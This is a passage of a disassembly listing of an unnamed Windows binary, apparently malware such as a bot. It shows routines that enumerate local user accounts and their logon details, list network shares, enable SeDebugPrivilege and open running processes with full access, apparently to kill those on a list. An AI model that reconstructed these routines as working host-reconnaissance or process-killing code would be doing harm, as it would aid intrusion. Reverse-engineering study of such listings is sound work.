byte_4DB83C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB83C, 1 lea eax, [ebp+1] push eax call sub_41D9A5 pop ecx mov dword_4DB5DC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5DC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB5DC pop edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C990 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8C8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D9A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8A0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB918 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+var_210] push offset unk_439C10 push eax call sub_41C266 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8BC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C266 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA64 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_43951C[eax*4] push offset unk_439CC8 push esi call sub_41C266 add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_439518[eax*4] push offset unk_439C98 push esi call sub_41C266 add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB840 lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439C70 push esi call sub_41C266 add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8AC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB89C pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA2C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C266 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_0 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C266 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+var_204] push offset unk_439CE8 push eax call sub_41C266 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409869 add esp, 20h loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA64 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB934 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+var_218] push offset unk_439ED8 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+var_218] push offset unk_439EA4 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA64 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA64 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset dword_4DB5E0 call sub_41C266 pop ecx mov eax, offset dword_4DB5E0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E0D4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26D0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E0D4 lea eax, [ebp+var_718] push eax call sub_41E0B7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9E4 test eax, eax jnz short loc_419B70 mov esi, offset dword_4DB3DC push offset unk_43A20C push esi call sub_41C266 pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset dword_4DB3DC push eax push offset dword_43A1E0 push esi call sub_41C266 add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 273094Dh push eax call dword_4CB9B8 test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB990 test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA40 mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] nop call near ptr 2670770h mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB9F4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9D8, ebx jz loc_419E08 cmp dword_4CB8E8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CB9F4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9D8 mov esi, dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8E8 test eax, eax jz loc_419DF6 mov edi, dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A238 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2841B88h test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43A298 jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax nop call near ptr 2730250h test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+arg_C], eax jnz loc_419DC7 cmp [ebp+arg_4], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CB9F4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB894 push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+var_10C] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8E8 test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2730250h nop test eax, eax jnz short loc_419E33 push edi call esi jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: 